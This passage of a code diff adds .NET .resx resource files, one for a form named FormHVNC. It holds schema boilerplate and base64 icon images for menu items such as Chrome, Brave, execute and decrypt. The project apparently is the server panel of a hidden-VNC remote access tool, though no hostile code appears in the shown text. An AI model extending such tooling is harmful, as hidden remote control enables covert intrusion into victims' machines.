+zyu09qVDH5tdJewS7JdryTK9Wttgb3qQYCxLb1uQa3SYuIKD4goOiis4KK7goLiCg+IKcrx416Db
+8xW6MlOmUV2YXE2U6U6mQgsrjR1tHRU01r/R9UcrdHnmLQXn6hR53aa4+G2Ca3yG2o3HqyTWv5t9
+HBPMvm+avx9vPvtEycIWJYs8iWKHxufrdF62RR9HBDFzGDCUbbJSHKFsw+zjiCCW1Zw5RsQOVxvP
+1OW/x7xaQTz0eK6wdJyEHa6GPudiJTobXjylTPCW3JmYCU4A2OFqIJCuYZc/USaIoySaa7ODAztc
+DURyLSmYryoTHJvKU9zY7A3Yb+z2cbFJ3rDxU62gHGTfgvLLeSPGD2WCB7LEUYVLjFdacK7GDg7s
+cDXgn62RphdSygRfymPm0sPyvo8Z33SJhiaNkz1BFeCwDWb4WbTD1QJy5kejYnt5VcY7IY6NRMUG
+Xl+cCMdd2RZ9zky8OWLdRm2GJhdPjETE10Cm1vnbcoNEoYOZ25JyreGwcdzq7kxOh5eOanq+4IuV
+Wv7Zahc7FMcIwLU/Xe2ipuki79jMccG7dUwXKRwfOIQBrqVYqrchdsTj+QOkt49yDEvzvQAAAABJ
+RU5ErkJgggs=</value></data><data name="wallpaperToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
+ggs=</value></data><data name="executeToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="decryptToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAPQMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAAC30lEQVRoQ+2YTWsTQRjHpwdB1IP6BSxa0YsnKbQkhpAQ0jTafoUKPWu9aPsZ8tKbIHgU
+Dx6s2eTQakmkySYeAhbNZlM8VIwHL57US4sdZ5ZH2F2fRzPbJE4gP/jRdOZ5Zv/7NoGwfvKiZl8p
+mO0HhXp7u1C3bPH5u/CHYVr7wpdifG2jbl+Dcn0wzPfTRt0qG/U270nnZDohaP9/PGo2Txhm+2HB
+tI7QoH/TtH4K1yuV/ZOw3HDZrLfOi+AVNJySVvlZpXUGlh0O8spT4cWzvyX+Lsv3YWt397TRbJ4q
+NqzLhYa95LwbyN0S4ztyTVh+8MjHxh9CXMlOsWbdgBISWSNOYs/fL8ZyUDJY5Avrv4ri/9cblbdn
+oeSflKrvzondqepb46j0xr4OJYPjz93G6qiE/408CXEnP7jXEo/fJkwPBsPsXHUfUNrLY0NRbNhR
+/3ql6t5FmO4/8kvKc0Cxn8NUYOTj515T3IX7MNV/5C7iPphwGaZGA3G1PLuH3CphajQQob+5T2Do
+X0DHxR1eCsOjw8ifwOPn29wtDOvFYZulD1rs84HFuGZ2Dy2Wgpg0stDXqJOfICYN0qSVEJMGa9JJ
+iEmDNekkxKTBmnQSYtJgTToJMWm+lhnXWYhJgzXpJMSkwZp0EmLSYE2qfnk1wfOrk/zm3DS/Jcyv
+XnDGsFpVISYN1qTq+tokD4fDHuUYVqsqxKTBmlRdTM/wSCTicWF+Bq1VFWLSYE2qLsyHeDQa9biY
+DqG1qkJMmu5Txo9rZmWKx2Ixj9mVS2itqhCTBmtS9eOTCZ67N8Xj8bhjXnyWY1itqhCTBmsKaiKR
+cMTmggoxabCmoCaTSUdsLqgQkwZrCmoqlXLE5oIKMWmwpqDeWZrld2/PonNBhZg0WJNOQkyaWpZx
+nYWYNFiTTkJMGqxJJyEmDdakkxCTBmvSSYhJU82yLtaohZkeftiqZlhKy5MQ4XdybA5ijhkzxoGx
+X9DMOtZ3guAMAAAAAElFTkSuQmCCCw==</value></data><data name="copyToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA0gEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAABdElEQVRoQ+2ZP0oDQRSH9wDWyeQEgn8L0StoSKG5TmJro2CjCHEjWHgUIZjGIlGDBpLd
+DesBrKyeM+ZtQBnFvDczgr4Pvnbn97GzaRIJgjAf9Weo7eUw0QLHzfboGh8Zlt0cMtugeV3a7/1O
+hG0MxeVmbxpxMe7go8NgG0PRBASJKLfHNRUnE3X6AKXDG+sYiivN/seIeNjVxy1MT3WIHp9V4hRc
+B6w2+l9FuMWM9xGw1rizR7i+Tr4C1nVAkAhfARsHT99GbF0mbn5ifQVsd17CRPgK+Kk4g44EMMUZ
+dCSAKc6gIwFMcQYdCWCKM+hIAFOcQUcCmOIMOhLAFGfQkQCmOIOOBDDFGXQkgCnOoCMBTHEGnT8U
+MIDSUReqw1frQZ5McQadWcDZI5SPb2HxahAqIq3nsIMz6BQBldYI1Mn9e4R5E+Y6+RCPdccsoIjQ
+b8J8D77EY91R/MERQnWe8O/8Z1Qrq4aIMONVnPLvvCD8K6LoDUuTPkSAgq74AAAAAElFTkSuQmCC
+Cw==</value></data></root>

Server.Forms.FormHVNC.resx

@@ -0,0 +1,435 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="chromeToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="braweToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
